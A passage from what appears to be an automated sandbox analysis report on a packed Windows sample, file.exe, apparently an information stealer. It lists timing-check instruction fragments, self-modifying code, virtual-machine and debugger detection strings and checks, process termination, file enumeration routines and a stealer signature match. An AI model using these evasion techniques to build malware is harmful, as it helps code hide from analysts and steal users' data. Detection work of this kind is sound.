Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694A72 second address: 694A7C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694BEC second address: 694BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694D27 second address: 694D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694D2C second address: 694D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FC070F37E36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694D4D second address: 694D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F317h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC070C1F311h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 694D79 second address: 694D83 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC070F37E3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D02 second address: 6A1D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C1F30Bh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D12 second address: 6A1D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D18 second address: 6A1D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D1C second address: 6A1D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FC070F37E36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D41 second address: 6A1D4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007FC070C1F306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D4D second address: 6A1D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D53 second address: 6A1D5D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC070C1F306h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1D5D second address: 6A1D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A37FC second address: 6A3801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A3801 second address: 6A382C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007FC070F37E3Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A6BD2 second address: 6A6BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A6BD6 second address: 6A6C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FC070F37E4Ah 0x0000000c jc 00007FC070F37E36h 0x00000012 jmp 00007FC070F37E3Eh 0x00000017 jmp 00007FC070F37E44h 0x0000001c jmp 00007FC070F37E41h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A6C21 second address: 6A6C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A6C28 second address: 6A6C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AFA29 second address: 6AFA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AFA2D second address: 6AFA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AFA31 second address: 6AFA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AFA37 second address: 6AFA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AFA3D second address: 6AFA55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC070C1F313h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B7218 second address: 6B721D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B721D second address: 6B7223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B7223 second address: 6B722D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC070F37E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B881B second address: 6B885F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC070C1F30Bh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007FC070C1F314h 0x00000015 je 00007FC070C1F306h 0x0000001b pop edi 0x0000001c push edx 0x0000001d jmp 00007FC070C1F311h 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B885F second address: 6B8865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B8865 second address: 6B886B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C26D4 second address: 6C26E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C26E1 second address: 6C26E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C26E7 second address: 6C26EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0E75 second address: 6C0E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0FDE second address: 6C1015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC070F37E45h 0x00000008 jbe 00007FC070F37E36h 0x0000000e jns 00007FC070F37E36h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushad 0x0000001f jne 00007FC070F37E36h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C11B5 second address: 6C11BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C18F3 second address: 6C1902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FC070F37E3Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C242C second address: 6C2443 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC070C1F306h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d js 00007FC070C1F328h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C2443 second address: 6C245B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C2A second address: 6D4C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C30 second address: 6D4C3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FC070F37E36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C3E second address: 6D4C44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C44 second address: 6D4C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FC070F37E46h 0x0000000f jmp 00007FC070F37E3Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C71 second address: 6D4C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D4C77 second address: 6D4C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D7639 second address: 5D765D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C1F318h 0x00000009 jnp 00007FC070C1F30Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E83F6 second address: 6E840C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E41h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F75E4 second address: 6F75F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FC070C1F306h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F75F3 second address: 6F75F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F75F7 second address: 6F75FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F75FF second address: 6F7606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F9980 second address: 6F9984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FDBFD second address: 6FDC2A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC070F37E38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007FC070F37E5Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC070F37E48h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FDC2A second address: 6FDC2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FDE4F second address: 6FDE9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FC070F37E49h 0x00000010 movsx edx, bx 0x00000013 pop edx 0x00000014 push 00000004h 0x00000016 mov edx, 431DCEE1h 0x0000001b push 730D5D21h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FC070F37E44h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FE111 second address: 6FE139 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC070C1F30Ch 0x00000008 jo 00007FC070C1F306h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push dword ptr [ebp+122D23B2h] 0x00000019 sub edx, dword ptr [ebp+122D3342h] 0x0000001f push F7CD2BB2h 0x00000024 push edi 0x00000025 push ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FFB59 second address: 6FFB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FC070F37E3Fh 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FF6B7 second address: 6FF6BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 701737 second address: 701740 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B056E second address: 50B05D4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC070C1F30Bh 0x00000008 or ch, FFFFFFDEh 0x0000000b jmp 00007FC070C1F319h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 movzx ecx, di 0x00000019 mov edi, 733197ECh 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007FC070C1F312h 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FC070C1F317h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B05D4 second address: 50B05DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B05DA second address: 50B05DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B05DE second address: 50B05F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC070F37E3Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B05F4 second address: 50B0606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC070C1F30Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0606 second address: 50B060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 46DC0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 60AB63 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 46B376 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 699E27 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Evaded block: after key decision
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001940F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_001940F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0018E530
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00181710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00181710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0018F7B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001947C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_001947C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00193B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_00193B00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00194B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00194B60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0018DB80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0018EE20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0018BE40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0018DF10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00181160 GetSystemInfo,ExitProcess, 0_2_00181160
Source: file.exe, file.exe, 00000000.00000002.1727131643.00000000005EB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1727662731.0000000001223000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1727662731.0000000001223000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1727662731.00000000011F3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1727131643.00000000005EB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging

barindex
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00184610 VirtualProtect ?,00000004,00000100,00000000 0_2_00184610
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00199BB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199AA0 mov eax, dword ptr fs:[00000030h] 0_2_00199AA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00197690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA, 0_2_00197690
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\file.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Yara match File source: Process Memory Space: file.exe PID: 6976, type: MEMORYSTR
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00199790
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001998E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle, 0_2_001998E0
Source: file.exe Binary or memory string: qProgram Manager
Source: file.exe, 00000000.00000002.1727131643.00000000005EB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: qProgram Manager
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C7588 cpuid 0_2_001C7588
Source: C:\Users\user\Desktop\file.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00197D20
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00197B10 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA, 0_2_00197B10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001979E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA, 0_2_001979E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00197BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA, 0_2_00197BC0

Stealing of Sensitive Information

barindex
Source: Yara match File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
